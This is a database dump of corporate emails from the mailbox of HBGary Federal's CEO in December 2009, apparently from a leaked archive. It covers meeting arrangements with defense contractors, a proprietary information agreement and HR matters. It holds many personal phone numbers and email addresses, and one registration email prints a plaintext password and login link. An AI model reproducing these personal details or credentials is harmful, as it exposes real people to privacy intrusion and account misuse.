longer with Northrop, now the CEO for&gt; HBGary Federal.  Short of it is, we were talking to ARSTRAT about our&gt; capabilities and they are very interested to do something but kind of\r\n&gt; in passing said if we had a satellite/strategic comma component to our&gt; offering we would have it all.  Naturally I thought of you.  Do you&gt; have some time for coffee or something to catch up?&gt;\r\n&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; 719.510.8478&gt;&gt; From my iPhone&gt;&gt;&gt;&gt;&gt; -----------------------------------------&gt; Notice:  This e-mail is intended solely for use of the individual\r\n&gt; or entity to which it is addressed and may contain information that&gt; is proprietary, privileged and exempt from disclosure under&gt; applicable law.  If the reader is not the intended recipient or&gt; agent responsible for delivering the message to the intended\r\n&gt; recipient, you are hereby notified that any dissemination,&gt; distribution or copying of this communication is strictly&gt; prohibited.  This communication may also contain data subject to&gt; U.S. export laws.  If so, that data subject to the International\r\n&gt; Traffic in Arms Regulation cannot be disseminated, distributed or&gt; copied to foreign nationals, residing in the U.S. or abroad, absent&gt; the express prior approval of the U.S. Department of State.   If\r\n&gt; you have received this communication in error, please notify the&gt; sender by reply e-mail and destroy the e-mail message and any&gt; physical copies made of the communication.  Thank you.\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',14606,'aaron_hbgary_com/14606.html'),(513,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999884.M484368P3547Q514.eml','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','Re: Right address','How is your friday morning?  I have a meeting at blackbird at I think 11am, thats right next door right?\r\n \r\nAaron\r\nOn Tue, Dec 8, 2009 at 2:19 PM, Bagby, Ryan &lt;ryan.bagby@boeing.com&gt; wrote:\r\nHi Aaron, do you have any time the rest of this week?\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, November 30, 2009 10:22 AMTo: Bagby, RyanSubject: Re: Right address\r\n\r\n\r\n\r\nHey Ryan,Do you have some time this Friday?  I am at the AFCEA cyber conferenceWed/Thurs.AaronOn Nov 24, 2009, at 10:31 PM, Bagby, Ryan wrote:&gt; Hey Aaron, Nice to hear from you. I&#39;d noticed I hadn&#39;t seen you around\r\n&gt; in a while; congratulations on the move.  I&#39;m actually out of town for&gt; the rest of the week, but would be happy to meet up next&gt; week if possible.  Right now anytime Thursday looks good for me.\r\n&gt; Let me know if that might work with your schedule.&gt; --------------------------&gt; Thanks,&gt; Ryan&gt;&gt; ----- Original Message -----&gt; From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n&gt; To: Bagby, Ryan&gt; Sent: Tue Nov 24 21:04:23 2009&gt; Subject: Right address&gt;&gt; Hey Ryan,&gt;&gt; Not sure if this is the right address for you.  If it is shoot me a&gt; note.  I am no longer with Northrop.  Recently took the position as\r\n&gt; CEO of HBGary Federal.  I wanted to talk to you about the Customer&gt; contract recompete.&gt;&gt; Thanks,&gt; Aaron&gt; CEO&gt; HBGary Federal Inc.&gt; 719.510.8478\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',1404,'aaron_hbgary_com/1404.html'),(514,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999884.M664396P3547Q515.eml','don@hypervista-tech.com','Re: Ping','Great to see you last night.  We are still working on Gregs schedule for Friday.  Is it 11am @Blackbird we are meeting on Friday?\r\n \r\nAaron\r\nOn Sat, Dec 5, 2009 at 9:47 PM, &lt;don@hypervista-tech.com&gt; wrote:\r\nHi guys.  Sorry for the delay in response.  It&#39;s been a pretty busyFriday afternoon/evening and Saturday.\r\nI&#39;ve really glad to hear from you two; the timing is perfect.  We have apretty exciting opportunity coming up, which I&#39;m sure you guys will beintrigued by and a perfect match for you given your backgrounds and\r\ninterests.  In fact, I was going to reach out to Greg on this one in thenext couple of weeks once we have an opportunity to follow-up with thecustomer and present back to them what we thought we heard from them say\r\nat the first two meetings.  We hope to get back to them early next week.@Aaron - I&#39;ll give you a call early next week to set up an introductorymeeting between you and several of the Blackbird seniors.\r\nHave a good rest of the weekend and I&#39;ll talk to you early next week.Give my regards to Greg if you happen to touch bases with him.Don\r\n\r\n\r\n&gt; -------- Original Message --------&gt; Subject: Re: Ping&gt; From: Aaron Barr &lt;aaron@hbgary.com&gt;&gt; Date: Fri, December 04, 2009 4:35 pm\r\n&gt; To: Bailey Don &lt;baileyde5@verizon.net&gt;, Don Bailey&gt; &lt;don@hypervista-tech.com&gt;&gt; Cc: Ted Vera &lt;ted@hbgary.com&gt;\r\n&gt; Don,&gt; Ted told me you guys had a good conversation.  I have to tell you Ted and I have only been at this a week but we are already having the time of our life again, like the old days!  I look forward to seeing you soon.\r\n&gt; Aaron&gt; On Dec 4, 2009, at 4:30 PM, Ted Vera wrote:&gt; &gt; Hi Don,&gt; &gt;&gt; &gt; Great talking with you today. Drop us a line when you want to discuss&gt; &gt; the upcoming opportunity. Got some time next week for a face-to-face\r\n&gt; &gt; with Aaron, and possibly Greg?&gt; &gt;&gt; &gt; Hope you have a great weekend,&gt; &gt;&gt; &gt; Ted&gt; &gt; 719-237-8623-- \r\nAaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',15207,'aaron_hbgary_com/15207.html'),(515,'2009-12-09','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','/aaron@hbgary.com/new/1296999884.M889997P3547Q516.eml','aaron@hbgary.com','RE: Right address','\r\n\r\n\r\n\r\n\r\nThe morning looks good, want to shoot for 10am?&nbsp;&nbsp; \r\nWe\'re down stairs from Blackbird. Ste 230\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 9:31 AMTo: Bagby, \r\nRyanSubject: Re: Right address\r\n\r\nHow is your friday morning?&nbsp; I have a meeting at blackbird at I think \r\n11am, thats right next door right?\r\n&nbsp;\r\nAaron\r\nOn Tue, Dec 8, 2009 at 2:19 PM, Bagby, Ryan &lt;ryan.bagby@boeing.com&gt; \r\nwrote:\r\nHi \r\n  Aaron, do you have any time the rest of this week?\r\n  -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, November \r\n  30, 2009 10:22 AMTo: Bagby, RyanSubject: Re: Right \r\n  address\r\n  \r\n  \r\n  Hey Ryan,Do you have some time this Friday? &nbsp;I am \r\n  at the AFCEA cyber conferenceWed/Thurs.AaronOn Nov 24, \r\n  2009, at 10:31 PM, Bagby, Ryan wrote:&gt; Hey Aaron, Nice to hear from \r\n  you. I\'d noticed I hadn\'t seen you around&gt; in a while; congratulations \r\n  on the move. &nbsp;I\'m actually out of town for&gt; the rest of the week, \r\n  but would be happy to meet up next&gt; week if possible. &nbsp;Right now \r\n  anytime Thursday looks good for me.&gt; Let me know if that might work \r\n  with your schedule.&gt; --------------------------&gt; Thanks,&gt; \r\n  Ryan&gt;&gt; ----- Original Message -----&gt; From: Aaron Barr \r\n  &lt;aaron@hbgary.com&gt;&gt; To: \r\n  Bagby, Ryan&gt; Sent: Tue Nov 24 21:04:23 2009&gt; Subject: Right \r\n  address&gt;&gt; Hey Ryan,&gt;&gt; Not sure if this is the \r\n  right address for you. &nbsp;If it is shoot me a&gt; note. &nbsp;I am no \r\n  longer with Northrop. &nbsp;Recently took the position as&gt; CEO of \r\n  HBGary Federal. &nbsp;I wanted to talk to you about the Customer&gt; \r\n  contract recompete.&gt;&gt; Thanks,&gt; Aaron&gt; CEO&gt; \r\n  HBGary Federal Inc.&gt; \r\n719.510.8478-- \r\nAaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',2662,'aaron_hbgary_com/2662.html'),(516,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999884.M89591P3547Q512.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Phil\" <phil@hbgary.com>','Passware','http://blogs.pcmag.com/securitywatch/2009/12/new_passware_can_crack_pgp_and.php\r\n\r\nInteresting article.\r\n\r\n From my iPhone\r\n',11066,'aaron_hbgary_com/11066.html'),(517,'2009-12-09','\"Terrian, Maralee (Xetron)\" <Maralee.Terrian@ngc.com>','/aaron@hbgary.com/new/1296999888.M411561P3547Q517.eml','aaron@hbgary.com,aaron@hbgary.com','Proprietary Information Exchange Agreement between HBGary Inc. and Northrop Grumman Systems Corporation','\r\n\r\n\r\n\r\n\r\nProprietary Information Exchange Agreement between HBGary Inc. and Northrop Grumman Systems Corporation \r\n\r\n\r\n\r\n\r\n &lt;&lt;hbgary.PDF&gt;&gt; \r\n\r\nDecember 9, 2009\r\n\r\nMr. Barr,\r\n\r\nEnclosed is Proprietary Information Exchange Agreement between HBGary Inc. and Northrop Grumman Systems Corporation for your approval.&nbsp; If acceptable, please return a fully executed copy of the agreement to my attention.\r\n\r\nThank you,\r\n\r\nMaraLee Terrian\r\n\r\n\r\n\r\nNorthrop Grumman Systems Corporation\r\n\r\n460 West Crescentville Road\r\n\r\nCincinnati, Ohio 45246\r\n\r\nPhone: 513 881-3356\r\n\r\nFAX: 513 881-3307\r\n\r\nEmail: maralee.terrian@ngc.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n',7581,'aaron_hbgary_com/7581.html'),(518,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999889.M964154P3547Q518.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: Proprietary Information Exchange Agreement between HBGary Inc. 	and Northrop Grumman Systems Corporation','\r\n---------- Forwarded message ----------From: Terrian, Maralee (Xetron) &lt;Maralee.Terrian@ngc.com&gt;\r\nDate: Wed, Dec 9, 2009 at 9:44 AMSubject: Proprietary Information Exchange Agreement between HBGary Inc. and Northrop Grumman Systems CorporationTo: aaron@hbgary.comCc: Brian.Masterson@ngc.com\r\n\r\n\r\n&lt;&lt;hbgary.PDF&gt;&gt; \r\n\r\nDecember 9, 2009\r\nMr. Barr,\r\nEnclosed is Proprietary Information Exchange Agreement between HBGary Inc. and Northrop Grumman Systems Corporation for your approval.  If acceptable, please return a fully executed copy of the agreement to my attention.\r\n\r\nThank you,\r\nMaraLee Terrian\r\n\r\nNorthrop Grumman Systems Corporation\r\n460 West Crescentville Road\r\nCincinnati, Ohio 45246\r\nPhone: 513 881-3356\r\nFAX: 513 881-3307\r\nEmail: maralee.terrian@ngc.com \r\n\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',13028,'aaron_hbgary_com/13028.html'),(519,'2009-12-09','\"Robert Higgins\" <Higgins.Robert@orbital.com>','/aaron@hbgary.com/new/1296999890.M185841P3547Q519.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting','Hello Aaron,\r\n  2:30 would be fine.  Go to building 1 and give me a call.\r\n\r\nRobert\r\n\r\n\r\n-----------------------------------------\r\nNotice:  This e-mail is intended solely for use of the individual\r\nor entity to which it is addressed and may contain information that\r\nis proprietary, privileged and exempt from disclosure under\r\napplicable law.  If the reader is not the intended recipient or\r\nagent responsible for delivering the message to the intended\r\nrecipient, you are hereby notified that any dissemination,\r\ndistribution or copying of this communication is strictly\r\nprohibited.  This communication may also contain data subject to\r\nU.S. export laws.  If so, that data subject to the International\r\nTraffic in Arms Regulation cannot be disseminated, distributed or\r\ncopied to foreign nationals, residing in the U.S. or abroad, absent\r\nthe express prior approval of the U.S. Department of State.   If\r\nyou have received this communication in error, please notify the\r\nsender by reply e-mail and destroy the e-mail message and any\r\nphysical copies made of the communication.  Thank you.\r\n',12014,'aaron_hbgary_com/12014.html'),(520,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999891.M428266P3547Q520.eml','\"Zosh\" <mydocs@zosh.com>','file','-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',16108,'aaron_hbgary_com/16108.html'),(521,'2009-12-09','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1296999893.M139151P3547Q521.eml','maralee.terrian@ngc.com,maralee.terrian@ngc.com,','','\r\n\r\nThis document was sent using Zosh an application that let\'s you fill  \r\nout, sign and send documents all from your iPhone.  If you want to  \r\nlearn more visit www.zosh.com or go to the App Store and search for  \r\n\"Zosh\".\r\n\r\n\r\n\r\n\r\n\r\n\r\n From my iPhone\r\n',14249,'aaron_hbgary_com/14249.html'),(522,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999896.M855765P3547Q522.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd:','\r\n---------- Forwarded message ----------From: Aaron Barr &lt;adbarr@mac.com&gt;Date: Wed, Dec 9, 2009 at 10:38 AM\r\nSubject: To: &quot;maralee.terrian@ngc.com&quot; &lt;maralee.terrian@ngc.com&gt;Cc: Brian Masterson &lt;Brian.Masterson@ngc.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n \r\nThis document was sent using Zosh an application that let&#39;s you fill out, sign and send documents all from your iPhone.  If you want to learn more visit www.zosh.com or go to the App Store and search for &quot;Zosh&quot;.\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',13435,'aaron_hbgary_com/13435.html'),(523,'2009-12-09','\"Terrian, Maralee (Xetron)\" <Maralee.Terrian@ngc.com>','/aaron@hbgary.com/new/1296999897.M160489P3547Q523.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <adbarr@mac.com>,','RE:','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\nMaraLee\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:adbarr@mac.com] \r\nSent: Wednesday, December 09, 2009 10:38 AM\r\nTo: Terrian, Maralee (Xetron)\r\nCc: Masterson, Brian (Xetron); Aaron Barr\r\nSubject: \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis document was sent using Zosh an application that let\'s you fill out,\r\nsign and send documents all from your iPhone. &nbsp;If you want to learn more\r\nvisit www.zosh.com or go to the App Store and\r\nsearch for &quot;Zosh&quot;.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7675,'aaron_hbgary_com/7675.html'),(524,'2009-12-09','\"Sipes, Victoria\" <vsipes@harris.com>','/aaron@hbgary.com/new/1296999897.M399578P3547Q524.eml','bob@hbgary.com,rich@hbgary.com,aaron@hbgary.com','New Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI work with Mike Fox at Crucial Security Programs/Harris\r\nCorporation as his Sr. Admin.\r\n\r\n&nbsp;\r\n\r\nMike would like to discuss future opportunities with you all.\r\n\r\n&nbsp;\r\n\r\nIf you could please let me know what your schedules look\r\nlike next week, would really appreciate.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nVickie\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2533,'aaron_hbgary_com/2533.html'),(525,'2009-12-09','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999897.M646775P3547Q525.eml','\"Aaron Barr\" <aaron@hbgary.com>','Hi Aaron -','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI hope this finds you well.&nbsp; I&#8217;m sorry we haven&#8217;t\r\nspoken yet but I&#8217;m sure you know by now how fast we&#8217;re all moving\r\naround here.&nbsp; Do you have any time to get together either on the phone or\r\nin person today/tomorrow/Friday?&nbsp; I&#8217;ll be in Reston today having\r\nlunch until about 2PM and could meet up afterwards.\r\n\r\n&nbsp;\r\n\r\nThanks very much.&nbsp; I look forward to meeting you soon.\r\n\r\n&nbsp;\r\n\r\nBest,\r\nRich\r\n\r\n&nbsp;\r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\n\r\nOffice 301-652-8885 x112\r\n\r\nCell Phone 703-999-5012\r\n\r\nWebsite:&nbsp; www.hbgary.com |email: rich@hbgary.com\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13048,'aaron_hbgary_com/13048.html'),(526,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999897.M901913P3547Q526.eml','\"Sipes, Victoria\" <vsipes@harris.com>,\"Sipes, Victoria\" <vsipes@harris.com>,','Re: New Opportunities','Victoria,\r\n \r\nThank you for the contact.  I am available on Thur-Fri next week with currently only a meeting on Thurs at 3pm in Reston.\r\n \r\nAaron\r\nOn Wed, Dec 9, 2009 at 10:59 AM, Sipes, Victoria &lt;vsipes@harris.com&gt; wrote:\r\n\r\n\r\n\r\nI work with Mike Fox at Crucial Security Programs/Harris Corporation as his Sr. Admin.\r\n \r\nMike would like to discuss future opportunities with you all.\r\n \r\nIf you could please let me know what your schedules look like next week, would really appreciate.\r\n \r\nThanks\r\nVickie\r\n -- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',4938,'aaron_hbgary_com/4938.html'),(527,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999898.M177710P3547Q527.eml','\"Ted Vera\" <ted@hbgary.com>','Know what all this means?','http://www.govcomm.harris.com/solutions/products/Crucial-Security-GSA-Schedule-70.asp\r\n\r\nCrucial Security is a GSA IT Professional Services Federal Supply Service Schedule 70 contract holder:-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',16870,'aaron_hbgary_com/16870.html'),(528,'2009-12-09','\"Sipes, Victoria\" <vsipes@harris.com>','/aaron@hbgary.com/new/1296999898.M437761P3547Q528.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: New Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron,\r\n\r\n\r\nWill set this up with the others as well, and if something changes we can reschedule.\r\n\r\n&nbsp;\r\n\r\nCan you please send me directions to your place, and I will send\r\nout a calendar event.\r\n\r\n&nbsp;\r\n\r\nLooks like 1pm on Thursday.\r\n\r\n\r\nThanks\r\nVickie\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 11:11 AM\r\nTo: Sipes, Victoria\r\nCc: bob@hbgary.com; rich@hbgary.com\r\nSubject: Re: New Opportunities\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVictoria,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you for the contact.&nbsp; I am available on Thur-Fri\r\nnext week with currently only a meeting on Thurs at 3pm in Reston.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Dec 9, 2009 at 10:59 AM, Sipes, Victoria &lt;vsipes@harris.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwork with Mike Fox at Crucial Security Programs/Harris Corporation as his Sr.\r\nAdmin.\r\n\r\n&nbsp;\r\n\r\nMike\r\nwould like to discuss future opportunities with you all.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou could please let me know what your schedules look like next week, would\r\nreally appreciate.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nVickie\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7971,'aaron_hbgary_com/7971.html'),(529,'2009-12-09','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','/aaron@hbgary.com/new/1296999898.M652431P3547Q529.eml','\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com,bob@hbgary.com','Meeting w/HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, December 17, 2009 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: TBD\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',14160,'aaron_hbgary_com/14160.html'),(530,'2009-12-09','don@hypervista-tech.com','/aaron@hbgary.com/new/1296999898.M956070P3547Q530.eml','\"Aaron Barr\" <aaron@hbgary.com>','Friday','I enjoyed seeing you again Aaron.  It was great seeing Greg and Penny\r\ntoo, but you and I need to catch up on our own sometime soon.\r\n\r\nYes, we\'re scheduled to meet here at the Blackbird facilities at 11:00\r\nand we\'ll go to a nearby sushi joint for lunch.\r\n\r\nIt would be great if Greg and/or Penny could join us because the seniors\r\nhere want to explore with them some investment strategies that may be of\r\ninterest to them.\r\n\r\nAt any rate, we\'re looking forward to meeting with you on Friday.\r\n\r\nDon\r\n703-582-1277 (cell)\r\n\r\n> -------- Original Message --------\r\n> Subject: Re: Ping\r\n> From: Aaron Barr \r\n> Date: Wed, December 09, 2009 9:33 am\r\n> To: don@hypervista-tech.com\r\n> Great to see you last night.  We are still working on Gregs schedule for\r\n> Friday.  Is it 11am @Blackbird we are meeting on Friday?\r\n> Aaron\r\n> On Sat, Dec 5, 2009 at 9:47 PM,  wrote:\r\n> > Hi guys.  Sorry for the delay in response.  It\'s been a pretty busy\r\n> > Friday afternoon/evening and Saturday.\r\n> >\r\n> > I\'ve really glad to hear from you two; the timing is perfect.  We have a\r\n> > pretty exciting opportunity coming up, which I\'m sure you guys will be\r\n> > intrigued by and a perfect match for you given your backgrounds and\r\n> > interests.  In fact, I was going to reach out to Greg on this one in the\r\n> > next couple of weeks once we have an opportunity to follow-up with the\r\n> > customer and present back to them what we thought we heard from them say\r\n> > at the first two meetings.  We hope to get back to them early next week.\r\n> >\r\n> > @Aaron - I\'ll give you a call early next week to set up an introductory\r\n> > meeting between you and several of the Blackbird seniors.\r\n> >\r\n> > Have a good rest of the weekend and I\'ll talk to you early next week.\r\n> > Give my regards to Greg if you happen to touch bases with him.\r\n> >\r\n> > Don\r\n> >\r\n> > > -------- Original Message --------\r\n> > > Subject: Re: Ping\r\n> > > From: Aaron Barr \r\n> > > Date: Fri, December 04, 2009 4:35 pm\r\n> > > To: Bailey Don , Don Bailey\r\n> > > \r\n> > > Cc: Ted Vera \r\n> > > Don,\r\n> > > Ted told me you guys had a good conversation.  I have to tell you Ted and\r\n> > I have only been at this a week but we are already having the time of our\r\n> > life again, like the old days!  I look forward to seeing you soon.\r\n> > > Aaron\r\n> > > On Dec 4, 2009, at 4:30 PM, Ted Vera wrote:\r\n> > > > Hi Don,\r\n> > > >\r\n> > > > Great talking with you today. Drop us a line when you want to discuss\r\n> > > > the upcoming opportunity. Got some time next week for a face-to-face\r\n> > > > with Aaron, and possibly Greg?\r\n> > > >\r\n> > > > Hope you have a great weekend,\r\n> > > >\r\n> > > > Ted\r\n> > > > 719-237-8623\r\n> >\r\n> >\r\n> -- \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n\r\n',13831,'aaron_hbgary_com/13831.html'),(531,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999899.M179621P3547Q531.eml','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','Re: Right address','Sounds good.  I will see you at 10am on Friday.\r\n \r\nAaron\r\nOn Wed, Dec 9, 2009 at 9:42 AM, Bagby, Ryan &lt;ryan.bagby@boeing.com&gt; wrote:\r\n\r\n\r\nThe morning looks good, want to shoot for 10am?   We&#39;re down stairs from Blackbird. Ste 230\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, December 09, 2009 9:31 AM \r\n\r\n\r\nTo: Bagby, RyanSubject: Re: Right address\r\n\r\n\r\n\r\n\r\nHow is your friday morning?  I have a meeting at blackbird at I think 11am, thats right next door right?\r\n \r\nAaron\r\nOn Tue, Dec 8, 2009 at 2:19 PM, Bagby, Ryan &lt;ryan.bagby@boeing.com&gt; wrote:\r\nHi Aaron, do you have any time the rest of this week?\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, November 30, 2009 10:22 AMTo: Bagby, RyanSubject: Re: Right address\r\n\r\n\r\n\r\nHey Ryan,Do you have some time this Friday?  I am at the AFCEA cyber conferenceWed/Thurs.AaronOn Nov 24, 2009, at 10:31 PM, Bagby, Ryan wrote:&gt; Hey Aaron, Nice to hear from you. I&#39;d noticed I hadn&#39;t seen you around\r\n&gt; in a while; congratulations on the move.  I&#39;m actually out of town for&gt; the rest of the week, but would be happy to meet up next&gt; week if possible.  Right now anytime Thursday looks good for me.\r\n&gt; Let me know if that might work with your schedule.&gt; --------------------------&gt; Thanks,&gt; Ryan&gt;&gt; ----- Original Message -----&gt; From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n&gt; To: Bagby, Ryan&gt; Sent: Tue Nov 24 21:04:23 2009&gt; Subject: Right address&gt;&gt; Hey Ryan,&gt;&gt; Not sure if this is the right address for you.  If it is shoot me a&gt; note.  I am no longer with Northrop.  Recently took the position as\r\n&gt; CEO of HBGary Federal.  I wanted to talk to you about the Customer&gt; contract recompete.&gt;&gt; Thanks,&gt; Aaron&gt; CEO&gt; HBGary Federal Inc.&gt; 719.510.8478\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',265,'aaron_hbgary_com/265.html'),(532,'2009-12-09','accounts@offensivecomputing.net','/aaron@hbgary.com/new/1296999899.M398883P3547Q532.eml','aaron@hbgary.com','Account details for adbarr at Offensive Computing','adbarr,\r\n\r\nThank you for registering at Offensive Computing. You may now log in to http://www.offensivecomputing.net/?q=user using the following username and password:\r\n\r\nusername: adbarr\r\npassword: NtCFYXi6Fi\r\n\r\nYou may also log in by clicking on this link or copying and pasting it in your browser:\r\n\r\nhttp://www.offensivecomputing.net/?q=user/reset/31143/1260383075/80769e0b0b1eb3bc57dd1d27ac82600d\r\n\r\nThis is a one-time login, so it can be used only once.\r\n\r\nAfter logging in, you will be redirected to http://www.offensivecomputing.net/?q=user/31143/edit so you can change your password.\r\n\r\nYour new Offensive Computing membership also enables to you to login to other Drupal powered websites (e.g. http://drupal.org/) without registering. Just use the following Drupal ID and password:\r\n\r\nDrupal ID: adbarr@www.offensivecomputing.net\r\npassword: NtCFYXi6Fi\r\n\r\n\r\n--  Offensive Computing team\r\n',13785,'aaron_hbgary_com/13785.html'),(533,'2009-12-09','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','/aaron@hbgary.com/new/1296999899.M614850P3547Q533.eml','aaron@hbgary.com','Updated: Contract Recompete (Corrected Date/Time)','When: Friday, December 11, 2009 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US & Canada).\r\nWhere: RavenWing Ste 230\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nHi Aaron,  Just wanted to send a meeting notice so this got on our calendars. Look forward to meeting with you on Friday.\r\n\r\nRyan\r\n\r\nAddress:\r\n13900 Lincoln Park Dr\r\nSte 230\r\nHerndon Va, 20171\r\n\r\n',15468,'aaron_hbgary_com/15468.html'),(534,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999899.M808290P3547Q534.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re:','Hi DeeAnn,How do I submit an expense report for reimbursement? &nbsp;And I still need to do my W2, citizenship, all that stuff. &nbsp;What all do you need from me to get me official.Thanks,AaronOn Dec 7, 2009, at 6:22 PM, DeeAnn Buonaccorsi wrote: To all,&nbsp;It’s that time of year again.&nbsp; Time to update your TASKC 1020 Flex Plan.&nbsp; Attached to this email are forms explaining the Flex Plan and the paperwork associated with it.&nbsp; Please take some time to review this information.&nbsp; If you have any questions, please feel free to contact DeeAnn or Jeff Bell@onebox.com.&nbsp; Or by his cell phone 510-912-2355. &nbsp; These forms are due by December 16th, 2009.&nbsp;&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4724 ext. 101Fax: 916-481-1460Email&nbsp; deeann@hbgary.com&nbsp;    &lt;Responder_2DAY_Malware.pdf&gt;&lt;Copy of HBGary- Enrollment Form 2008 (2).pdf&gt;&lt;Qualified Medical &nbsp;Expenses.pdf&gt;&lt;eligibleandineligibleexpenses052405.pdf&gt;&lt;Debit Card Kit.pdf&gt;',4431,'aaron_hbgary_com/4431.html'),(535,'2009-12-09','\"Leland Vulcan\" <leland.vulcan@ngc.com>','/aaron@hbgary.com/new/1296999905.M275108P3547Q535.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  LinkedIn\r\n\r\n\r\n\r\n            Leland Vulcan has indicated you are a Colleague at 